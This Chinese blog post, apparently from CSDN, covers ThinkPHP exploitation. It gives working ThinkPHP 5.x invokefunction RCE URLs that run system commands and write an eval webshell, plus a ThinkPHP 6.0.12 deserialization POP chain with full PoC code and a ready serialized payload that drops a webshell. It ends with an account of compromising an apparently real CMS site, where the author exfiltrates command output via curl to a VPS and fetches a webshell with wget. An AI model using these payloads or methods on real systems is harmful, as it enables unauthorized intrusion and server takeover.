ThinkPHP poc链挖掘与复现

  • ThinkPHP5-rce 5.0.22/5.1.29 远程代码执行漏洞
  • 6.0.12LTS反序列化
  • 准备工作
    • composer下载 thinkphp框架
    • 打开 nginx中间件
    • php7.3
    • 方便调试 开启显错
  • 找反序列化入口点
  • 确定链路
  • 确定整体write流程
  • 构建poc链并实现getshell
    • 入口文件 析构函数 处构造
    • 继承析构入口的适配器 Adapter 构造
    • local 类 构造
    • 获取poc
    • 控制类 用来接收poc
  • getshell 利用
  • 一句话连接
  • 无回显Rce-thinkphp5-Getshell

ThinkPHP5-rce 5.0.22/5.1.29 远程代码执行漏洞

poc:

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

payload

代码执行

格式:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=系统命令&vars[1][]=命令
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码 最后添加的payload  eg:/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval%28%24_POST%5B2233%5D%29%3B%3F%3E


6.0.12LTS反序列化

tp框架6.0.12是LTS版本,长期维护
有师傅发过 RCE getshell 的poc链

准备工作

composer下载 thinkphp框架

https://www.phpcomposer.com/ (中国镜像站)

安装命令:

composer create-project topthink/think tp6 6.0.12

打开 nginx中间件

php7.3



访问正常。

方便调试 开启显错

‘show_error_msg’ => true


找反序列化入口点

入口点,都是__destruct()类的构造函数,以此触发下一步函数的执行
下面有很多类都是抽象类
真正的入口很大程度上是他们的子类等。


看到 命名vendor 第三方 命名空间下
namespace League\Flysystem\Cached\Storage;
// 导入第三方类库
abstract class AbstractCache这个抽象类的析构方法中,调用了save方法

implements 实现一个接口 关键字,必须实现接口中的所有方法。

查找继承这个抽象类 的子类
搜索语句:extends AbstractCache

进一步发现这个Adapter有一个save方法,而且,看方法结构就基本上可以断定是一个写文件的操作。

查询 thinkphp 文档
https://www.thinkphp.cn/extend/945.html
确定正是 filesystem 文件系统的 think-filesystem插件
从thinkphp 5 就已经有了

think-filesystem基于 Frank de Jonge 开发的 PHP 包 Flysystem 提供了强大的文件系统抽象。
composer require selden1992/think-flysystem

提供了文件写入方法api

 API 一般用法写文件Files::write('path/to/file.txt', 'contents');
更新文件Files::update('path/to/file.txt', 'new contents');
写或更新文件Files::put('path/to/file.txt', 'contents');
读取文件

重点是,adapter可控,且只需要保证has方法返回false即可写入。

确定链路

继续跟进,因为adapter拥有write方法,我们要找到一个有write方法的类。
发现,本地local.php
class Local extends AbstractAdapter里的write方法,调用写文件的file_put_contents() 函数。



file_put_contents() 函数把一个字符串写入文件中。

 int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

确定整体write流程

so,write函数解决了,整个利用链条通顺了。
整体的调用流程如图所示:

构建poc链并实现getshell

入口文件 析构函数 处构造

     //  //属性值为false,才可以调用该save方法protected $autosave = true; protected $cache = ['<?php eval($_POST[\''.'aming'.'\']);?>']; public function __destruct(){// //autoSave参数为falseif (! $this->autosave) {$this->save();}}

继承析构入口的适配器 Adapter 构造


class Adapter extends AbstractCache
{//适配器,也就是我们要利用write方法的类protected $file = 'aming_hack.php';//文件名,写入文件的文件名public function __construct($local){//方便生成的属性为local类对象,所以直接写到构造方法里了$this->adapter = $local;}public function getForStorage(){// //不用担心这个函数,它也没把我们的写入的内容怎么地$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete, $this->expire]);}public function save(){$config = new Config(); //为了方便,这个参数可以随便写一下,//但是如果随便写,下面的write定义的部分记得把传参约定的类型去掉(要不然php7过不了)$contents = $this->getForStorage();if ($this->adapter->has($this->file)) {$this->adapter->update($this->file, $contents, $config);} else {$this->adapter->write($this->file, $contents, $config);}}

local 类 构造

     //这个$config的约定类型可以去掉,为了方便public function write($path, $contents, Config $config){//这个调用是没所谓,$path就是传入的文件名,不过要确保文件名是否冲突,所以,每次调用,写入文件的文件名换一下$location = $this->applyPathPrefix($path);$this->ensureDirectory(dirname($location));if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {return false;}// $type = 'file';// $result = compact('contents', 'type', 'size', 'path');// if ($visibility = $config->get('visibility')) {//     $result['visibility'] = $visibility;//     $this->setVisibility($path, $visibility);// }// return $result;}

获取poc

 <?phpnamespace
{use League\Flysystem\Adapter\Local;use League\Flysystem\Cached\Storage\Adapter;$local = new Local();echo urlencode(serialize((new Adapter($local))));}?>

控制类 用来接收poc

 <?php
namespace app\controller;use app\BaseController; class Index extends BaseController{public function uns(){unserialize(urldecode(($_GET['aming'])));} }

getshell 利用

http://127.0.0.1/tp6/public/index.php/index/uns?aming=O%3A39%3A%22League\Flysystem\Cached\Storage\Adapter%22%3A6%3A{s%3A10%3A%22%00*%00adapter%22%3BO%3A30%3A%22League\Flysystem\Adapter\Local%22%3A3%3A{s%3A16%3A%22%00*%00permissionMap%22%3BN%3Bs%3A13%3A%22%00*%00writeFlags%22%3BN%3Bs%3A13%3A%22%00*%00pathPrefix%22%3BN%3B}s%3A9%3A%22%00*%00expire%22%3BN%3Bs%3A7%3A%22%00*%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00*%00autosave%22%3Bb%3A0%3Bs%3A8%3A%22%00*%00cache%22%3Ba%3A1%3A{i%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval(%24_POST[%27yyds%27])%3B%3F%3E%22%3B}s%3A11%3A%22%00*%00complete%22%3Ba%3A0%3A{}}

一句话连接



无回显Rce-thinkphp5-Getshell

信息收集过程中找到一个登陆界面
测试逻辑漏洞过程中,修改参数的时候爆出了Debug



通过Debug信息得知,这是一个thinphp的cms

之前thinkphp的日志泄露漏洞屡试不爽,于是想先找日志


通过Debug可以得知他的根目录在/www/wwwroot/devorder/public

访问Public目录下的文件,访问不到runtime目录,只能另辟蹊径

在最下边找到了Cms的版本号,于是去网上找这个版本公开的漏洞

经过寻找、测试,发现存在由变量覆盖导致的Rce漏洞
具体漏洞分析可以参考 https://blog.csdn.net/xuandao_ahfengren/article/details/86333189

直接使用网上的Payload提示执行命令的函数被禁用,估计是Disable_function的作用


其中有几个执行命令的函数发送请求后会直接返回登陆界面,未知执行状态


于是找了一个在线的DnsLog平台,这种平台会随机给一个子域名。
如果对子域名发送Http、Icmp的包,平台就会接收到数据包,从而判断命令是否执行。
这种方式在sql注入中这种方式也有奇效。

具体使用方法可以参考这位师傅写的文章:https://www.cnblogs.com/sstfy/p/10351807.html

在这里执行了几次Ping之后还是收不到返回,猜测可能Icmp包被拦了,改为用Curl请求子域名

成功收到请求

这种在线的只能简单的验证是否存在Rce,无法获得命令回显。

如果想获得命令回显,可以使用在线的Ceye平台来接收回显。

也可以使用自己的Vps来接收回显

在Vps开启Web服务或防火墙没有禁用Icmp的时候,发送Http或Icmp包后会在日志中留下记录,直接查看日志记录即可获得命令回显。

例如:

 curl http://Vps/`command`

这里使用返单引号将要执行的命令包裹,原理是在Linux中执行命令会首先执行反单引号中的命令,并将其结果输出。
这段代码在执行完whoami后,会将返回的值拼接到http://Vps/ 后。

我这里选择开启Web服务
再看这次返回结果,日志中的访问记录是http://Vps/www ,可以得知目标系统是Linux,并且使用WWW权限开启的Web服务。


Getshell
尝试了bash反弹Shell的方式没有弹回来。
这里不知道为什么使用echo >> 的方法写不进去,最后使用Wget下载文件到指定目录。

以上两个问题,有知道的师傅方便的话通过评论告我一声,先行谢过。
通过Debug中的绝对路径写WebShell后找不到写的Webshell,于是在Web目录下查找登陆界面,成功得到真.绝对路径。


将Webshell写在VPS中,再次使用Wget下载Webshell到真.绝对路径,成功Getshell。

漏洞复现-渗透原理与挖掘ThinkPHP系列相关推荐

  1. android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...

    0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞 该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用 ...

  2. shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    文章目录 1. 前置知识 1.1 shiro550利用条件 原理 1.2 shiro721利用条件 原理 shiro-721对cookie中rememberMe的值的解析过程 1.3 基于返回包的sh ...

  3. 帝国CMS(EmpireCMS) v7.5 后台XSS漏洞复现与原理分析

    一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单引号),还有addslashes函数处理,但是没有对任何恶意关键 ...

  4. 和信创天云桌面系统远程命令执行 RCE漏洞复现渗透测试

    前言 和信创天云桌面系统,官方介绍,市场上主要有华为.深信服.锐捷.和信创天四大云桌面厂商,华为从网络设备的角度打造整体解决方案,深信服从安全的角度切入云桌面,锐捷主打针对教育行业的云课堂业务,但前三 ...

  5. 帝国cms7.5漏洞复现

    EmpireCMS v7.5后台任意代码执行分析 目录 一.漏洞简介 二.漏洞复现 三.原理分析 一.漏洞简介 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修 ...

  6. 渗透测试之路:ThinkPHP漏洞复现

    1)简介 ThinkPHP是一个免费开源的,快速的,简单的面向对象的国产轻量级PHP开发框架. ThinkPHP遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业级应用开而诞生的,具有 ...

  7. 详解ShellShock 漏洞复现原理,内附ShellShock的修复方法

    本篇文章适合初学ShellShock漏洞阅读,如果您已经学习过ShellShock漏洞,可以直接略过.本篇是我们悬镜安全实验室成员之一Kr0iNg's 在学习ShellShock时分享的一点心得,仅供 ...

  8. 渗透测试-Openssl心脏出血漏洞复现

    心脏滴血 早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤".利用该漏 ...

  9. 永恒之蓝漏洞原理及漏洞复现

    摘要 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含"永恒之蓝"工具,"永恒之蓝"利用W ...

最新文章

  1. CentOS下编译安装python包管理安装工具pip教程
  2. Unidirectional Link Detection Protocol
  3. MoreUnit与MoreUnit
  4. 粤教版管理计算机中的文件教案,最新粤教版初中信息技术第一册教案(全册).docx...
  5. matlab矩阵除以一个数字,matlab矩阵中每一行数除以一个数 | 学步园
  6. .net测试篇之单元测试/集成测试神器Autofixture
  7. python格式化转换_(转)python 格式化输出及%用法
  8. TensorFlow tf.keras.layers.Embedding
  9. django 与 mysql 勾结指南
  10. Druid连接池链接mysql错误提示:create connection SQLException, url: jdbc:mysql://127.0.0.1:3306/bank, errorCode
  11. Spring的三种注入方式
  12. ubuntu16.04安装red5
  13. 计算机哪个是易失性存储器,易失性的存储器是什么?
  14. 基于Android的家庭财务管理流程图,基于android的个人财务管理系统的设计与实现.pdf...
  15. 如何判断手机是否支持ASTC格式的贴图
  16. Windows Server 2012 R2添加或删除角色和功能时提示无法打开匿名级安全令牌
  17. Cannot add or update a child row: a foreign key constraint fails都有哪些原因
  18. 反向安装jar包到本地仓库和清除本地仓库中未下载成功的jar包
  19. 索德系统服务器,只有游戏玩家才知的十大烦恼 想玩游戏服务器挂了
  20. Android事件分发浅谈

热门文章

  1. opporeno怎么刷鸿蒙系统,OPPO Reno6采用晶钻3.0工艺
  2. 8.24直播 · 私域圆桌派 | 深刻犀利的观点这里都有
  3. 什么是 “小镇做题家” ?
  4. 【成神之路】Java基础相关面试题
  5. GPU,NPU,MPU,SoC区别
  6. 如何防范手机病毒?揭秘黑客5种常见网络钓鱼
  7. 什么是Android——Android平台简介
  8. 什么是响应式设计?响应式设计的基本原理是什么?如何做?
  9. [蓝桥杯AC|Python]利用字母可以组成一些美丽的图形,下面给出了一个例子: ABCDEFG BABCDEF CBABCDE DCBABCD EDCBABC
  10. css-animation动画实现跳动的爱心